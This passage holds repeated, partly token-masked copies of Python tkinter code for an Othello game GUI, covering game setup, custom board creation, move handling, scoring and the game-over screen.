weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n\n\nclass Window(tk.Tk):\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n 